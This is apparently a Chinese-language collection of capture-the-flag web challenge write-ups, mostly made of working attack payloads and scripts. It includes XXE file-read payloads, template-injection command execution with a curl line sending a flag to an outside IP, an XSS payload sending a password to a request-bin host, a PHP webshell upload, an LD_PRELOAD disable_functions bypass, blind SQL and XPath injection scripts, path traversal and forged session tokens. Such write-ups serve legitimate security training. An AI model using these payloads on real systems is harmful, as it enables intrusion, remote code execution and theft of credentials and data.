之前没记录,忘记哪个题了,直接写下知识点吧

  1. json 解析unicode,所以过滤的关键词可以用unicode编码绕过
  2. 对与url http://baidu.com/a.php/b.php%81 $_SERVER[‘PHP_SELF’]返回/a.php/b.php%81 basename()之后返回b.php

[SCTF2019]Flag Shop

预期 ruby_erb模板注入
非预期 HTTP参数传递类型差异产生的攻击面

ISITDTU-Easy PHP

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

用有限个字符异或出getshell字符

XNUCA 2019 Qualifier ezPHP

https://www.anquanke.com/post/id/185377#h2-3
只用.htaccess getshell

[GWCTF 2019]枯燥的抽奖

爆破种子,php_mt_rand工作模式

[SUCTF 2019]Pythonginx

https://www.cnblogs.com/wangtanzhi/p/12181032.html
https://www.cnblogs.com/Cl0ud/p/12187204.html
python 对url特殊字符的解析问题

[GoogleCTF2019 Quals]Bnv

http://yugod.xmutsec.com/index.php/2019/07/14/50.html
盲xxe bypass防火墙 引用本地dtd文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>

[BSidesCF 2019]SVGMagic

SVG 使用 XML 格式定义图像。 支持xml语法 结合xxe读文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

[RootersCTF2019]I_<3_Flask

arjun挖掘参数 name

1
?name={{ config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read() }}

[HarekazeCTF2019]Avatar Uploader 1

https://xz.aliyun.com/t/6628#toc-1
FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以

1
2
3
4
5
6
7
8
9
<?php
$a="%89%50%4E%47%0D%0A%1A%0A%00%00%00%0D%49%48%44%52";
file_put_contents("cop.png",urldecode($a));
$file = finfo_open(FILEINFO_MIME_TYPE);

var_dump(finfo_file($file, "cop.png"));

$f = getimagesize("cop.png");
var_dump($f[2] === IMAGETYPE_PNG);

上传一个这样的文件即可

[CSAWQual 2019]Web_Unagi

https://guokeya.github.io/post/7C_iGmzXN/
xxe utf16编码绕过waf

1
iconv -f utf8 -t utf16 1.xml -o 2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

贴一下另一位师傅的payload,因为这里显示报错信息,把flag内容放到加载文件的路径里,文件不存在会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>bob@fakesite.com</email>
<group>&xxe;</group>
</user>
</users>>
</users>

[GWCTF 2019]你的名字

ssti 过滤了双大括号 关键词替换为空 双写绕

1
2
3
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.system('') %}1{% endif %}

{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl -d `cat /flag_1s_Hera` http://174.0.178.55:2333') %}1{% endiconfigf %}

[NPUCTF2020]ezinclude

提示 md5($secret.$name)===$pass,在返回包里看到个cookie,改变user值cookie会随之改变盲猜就是 md5($secret.$name)
直接?name=&pass=fa25e54758d5d5c1927781a6ede89f8a 登陆成功,给了flflflflag.php是一个文件包含 出题人本意是不知道secret位数 要爆破一下
这里非预期了,附官方脚本

1
2
3
4
5
6
7
8
9
import os
import requests
for i in range(1,12):
data=os.popen('hashpump -s de73312423b835b22bfdc3c6da7b63e9 -d admin -k '+str(i)+' -a admin').read()

name=data.split('\n')[0]
password=data.split('\n')[1].replace('\\x','%')
result=requests.get('http://192.168.0.166/index.php?name='+password+'&pass='+name).text
print(result)

然后包含这里除了access.log也没想到其他姿势,但是一直包含不到,看了配置文件路径是没错的,可能没开日志,或者秒删
这里利用了php7的一个bug,之前见过了这里没想到tcl,附官方脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
import re
file_data={
'file': BytesIO("<?php eval($_POST[1]);")
}
url="http://192.168.0.128:8105/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)

根据dir.php得到临时⽂件名,然后就一把梭了

[NPUCTF2020]ezlogin

xpath盲注 参考 https://www.cnblogs.com/backlion/p/8554749.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re
s = requests.Session()
url = "http://ha1cyon-ctf.fun:30294/"
str="0123456789qwertyuiopasdfghjklzxcvbnm"

res = s.get(url)
a=re.findall(r"[0-9a-zA-Z]{32}",res.text)
a=a[0]
headers={"Content-Type": "application/xml"}
data="<username>adm1n</username><password>gtfly123</password><token>{}</token>".format(a)
res = s.post(url, headers=headers,data=data.encode("utf-8"))
res=s.get(url)
print(res.text)
flag="cf741"
# 4 guest 6 e10adc3949ba59abbe56e057f20f883e
# 4 adm1n gtfly123
for i in range(6,6):
print(i)
for j in str:
res = s.get(url)
a=re.findall(r"[0-9a-zA-Z]{32}",res.text)
a=a[0]
headers={"Content-Type": "application/xml"}
data="""<username>blah' or substring((//user[position()=2]/child::node()[position()=6]),{},1)='{}' or 'a'='a</username><password>1</password><token>{}</token>""".format(i,j,a)
res = s.post(url, headers=headers,data=data.encode("utf-8"))
if "非法操作!" in res.text:
flag=flag+j
print(flag)

登陆之后是一个文件包含,过滤了php: base64,输出的内容含有flag会被过滤,查了好久,打死我都想不到用大小写绕tcl呜呜呜

[NESTCTF 2019]Love Math 2

和国赛lovemath很像的一道题,不过这题要求更短
https://www.cnblogs.com/yesec/p/12664136.html

1
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

[GWCTF 2019]mypassword

wp
http://www.ch4ser.top/2019/04/22/XSS%E9%A2%98%E5%9E%8B%E8%AE%B0%E5%BD%95/
有个留言板,登陆处可以找到 /js/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

可以看到把cookie里的登陆信息存在表单里了,这里构造一个表单,
再加载/js/login.js 因为这里循环过滤cookie只能引用login.js才能获取到cookie中的信息,还有旺哥发现在content.php的返回头中

1
Content-Security-Policy: default-src 'self';script-src 'unsafe-inline' 'self'

允许内联脚本执行, 但是不可以远程请求js脚本执行,http://http.requestbin.buuoj.cn poc

1
2
3
4
5
6
7
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>

[BSidesCF 2019]Mixer

https://cjm00n.top/CTF/Buu%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%953.html
删掉cookie最后一位会发现报错,解密之后只有最后面部分是乱码,ECB加密特征
ECB 加密是 16 位一组, 并且每组互相独立, 加密后为 32 位
不知道iv和密钥可以让服务器加密出密文块

1
2
3
4
5
{"first_name":"A
1.00000000000000
","last_name":"A
333","is_admin":
0}

构造这样的用户名和密码,密文第二块就是我们想要的,对应cookie 33-64位,提取之后添加到最后32位之前,再换下cookie即可

1
2
s="76c037ce24fa98b582c01521691c11e9af73ff786d6b6f14b57c64d58504a627b0c3bfea9b9908ec47912ba151799ca6a560fbee231745fdca833a966235bff5cd620ec69953dfe436972a52c6e67d94"
print(s[0:128]+s[32:64]+s[128:])

[BSidesCF 2019]Sequel

https://blog.csdn.net/a3320315/article/details/104334246
guest guest 登陆,cookie注入,SQLite注入

1
2
3
4
5
sqlite_master相当于mysql的infomation表 储存着所有的表名
" or EXISTS(SELECT name FROM sqlite_master WHERE name LIKE "" limit 1

name是表名 sql是创建表的时候执行的sql语句,这样可以注出列名
select name,sql from sqlite_master limit 0,1

盲注脚本上面链接博客上有,最后注出 sequeladmin f5ec3af19f0d3679e7d5a148f4ac323d 登陆即可

[N1CTF 2018]eating_cms

https://blog.csdn.net/mochu7777777/article/details/105337682
感觉像个套娃 register.php注册 登陆之后发现存在伪协议读文件 读user.php function.php

1
2
3
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);

读取ffffllllaaaaggg,//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg parse_url会解析失败返回false
再读m4aaannngggeee 找到templates/upload.html,上传文件之后跳到templates/upllloadddd.php 404,根目录找到upllloadddd.php

1
2
$filename = $_FILES['file']['name'];
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

上传文件名rce,这里可以找到上传点/user.php?page=m4aaannngggeee 也可以自己写个表单
过滤了斜杠这里用..返回到根目录 payload: ;cd ..;cat flag_233333;#

virink_2019_files_share

https://cloud.tencent.com/developer/article/1500418
/uploads/ 目录文件遍历,然后发现任意文件读取,双写绕过../过滤

1
filePath = string.gsub(filePath, "../", "")

点代表任意一个字符,所以匹配任意两个字符+一个/,路径中目录的/前面也要加一个任意两个字符+/,payload

1
2
3
4
5
6
nginx配置文件
/preview?f=....//....//....//....//....//....//etc..//nginx..//conf.d..//default.conf
preview.lua源码 buu这里读取不到
/preview?f=....//preview.lua

/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[RootersCTF2019]babyWeb

报错注入,注出admin的uniqueid直接提交转到/flag0flag0123456789.php?id=837461526918364526 getflag

Wallbreaker_Easy

利用 ImageMagick 命令执行漏洞(CVE-2016–3714)bypass disable_functions 上传一个png文件

1
2
3
4
5
6
7
$evil_cmdline ="cd /;./readflag" . " > " . "/tmp/694d74199f409da94fd16c48322431c3/xx" . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
putenv("LD_PRELOAD=" . "/tmp/694d74199f409da94fd16c48322431c3/bypass_disablefunc_x64.so");
$a=new Imagick();
$a->readImage('/tmp/694d74199f409da94fd16c48322431c3/2.png');//触发新进程
$a->writeImage('/tmp/694d74199f409da94fd16c48322431c3/sad.wdp');
$a->clear();

现在看这道题目error_log和还有一个通杀php7的bug都可以

[FBCTF2019]Event

https://xz.aliyun.com/t/5399#toc-1
event_important是注入点,ssti注出配置文件找到key

1
event_name=1&event_address=2&event_important=__class__.__init__.__globals__[app].config

再签名

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
print(session_serializer.dumps("admin"))

index()

[RootersCTF2019]ImgXweb

/robots.txt 找到/static/secretkey.txt 找到密钥 伪造jwt

1
2
3
import jwt
token = jwt.encode({"user":"admin"},algorithm="HS256",key="you-will-never-guess").decode('utf-8')
print(token)

[某入群题]Web2

登陆的地方注入,过滤很多,注出 token +万能密码登陆即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import time
i=1
n=2
flag=""
f="11101001100110101000111111100110100001001000111111100111100110101000010011100101100001101000010111100101101011101011100100110010001100110011001100110010"
f=""
for i in range(1,1):
print(i)
m=128
j=128
for q in range(1,9):
if q!=1:
j=j/2
if n==1:
m=m+j
elif n==0:
m=m-j
m=int(m)
w = '{:08b}'.format(m)
url='http://31da054d-1b6e-4d3f-b333-44fd48b59ae2.node3.buuoj.cn/login.php'
data={"username":"cop\\",
"password":'|| token>0b{} && username="admin"-- '.format(f+w),
"question":"1",
"token":"1"
}
startTime=time.time()
time.sleep(0.2)
#time.time()-startTime
print(m)
p=requests.post(url,timeout=100,data=data)
if "安全提问未通过" in p.text:
n=1
else:
n=0
if q==8:
if "安全提问未通过" in p.text:
flag=flag+chr(m)
f=f+w
else:
flag=flag+chr(m-1)
w = '{:08b}'.format(m-1)
f=f+w
print(f)
print(flag)

这里注token的时候,大于128了,然后在256试试,发现可以,然后注出来感觉是中文,二进制数据转16进制 https://tool.lu/hexconvert/
16进制转中文 https://www.bejson.com/convert/ox2str/ 得到的结果是 随意的内容2332 然后登陆不上去,就很迷了
然后找到gouke师傅的博客with rollup 构造个空token 登陆 payload

1
username=cop\&password=||1 group by token with rollup having token is NULL --+&question=1

但是我感觉注出的token应该没错,后来想了想逻辑是最后一位的问题,最后一位有误差,token应该是 随意的内容2333
下面就是看着gouke师傅博客来的了 数据备份处mysql任意文件读取
然后是一个目录遍历 scandir($_GET[‘name’].’/webshell/‘) php版本5.2 用%00截断
admin/page/json.php?dt=alldata&name=Webshell大马/../../../../../../%00&page=1&limit=15
找到flag文件 I_am_flag2ijwy2w7892yw2uowh2 然后连接mysql读取

[BSidesCF 2020]Hurdles

套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUT /hurdles/!?get=flag&%26%3d%26%3d%26=%2500%0a HTTP/1.1
Host: node3.buuoj.cn:25037
Cache-Control: max-age=0
origin: https://ctf.bsidessf.net
Referer: https://ctf.bsidessf.net/challenges
Upgrade-Insecure-Requests: 1
User-Agent: 1337 Browser v.9999
Accept: text/plain
Accept-Encoding: gzip, deflate
Accept-Language: ru
Authorization: Basic cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi
X-Forwarded-For: 13.37.13.37,127.0.0.1
Cookie: Fortune=6265
Connection: close

[HarekazeCTF2019]Sqlite Voting

https://xz.aliyun.com/t/6628#toc-4

lfi 2019

https://xz.aliyun.com/t/6655#toc-2
https://evoa.me/index.php/archives/59/#toc-Windows%E7%89%B9%E6%80%A7%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95
windows特性

  1. ::$INDEX_ALLOCATION 创建目录
  2. “ 会解析成 .

Phuck2

/?hl 给源码 allow_url_include=Off时 include不会解析data伪协议
file_get_contents(‘data:,cop/cop’) 解析出来是cop/cop
include 会解析成目录去包含data:,cop目录下的cop文件
随便加个http头写个shell

[HITCON 2016]Leaking

vm沙箱逃逸,buffer读取内存
https://www.xingmal.com/article/article/1227092946961174528

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
url = 'http://402a95ea-15ad-46a2-be88-35e62822cb27.node3.buuoj.cn/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break

PyCalX 1&2

https://ch4ser-go.github.io/2019/05/27/MiscInWeb/

PyCalX 1

构造 ?source=flag&value1=ab&value2=and source in FLAG%23&op=%2B%27
‘a’ + ‘ ‘ and source in FLAG# 布尔盲注出来

PyCalX 2

op不能用单引号 用f-string(Py3.6+) 构造

1
?source=flag&value1=True&value2={source*0 if source in FLAG else 233}&op=%2Bf

匹配成功返回Ture 失败返回Ture233 buu复现失败,估计是python版本没换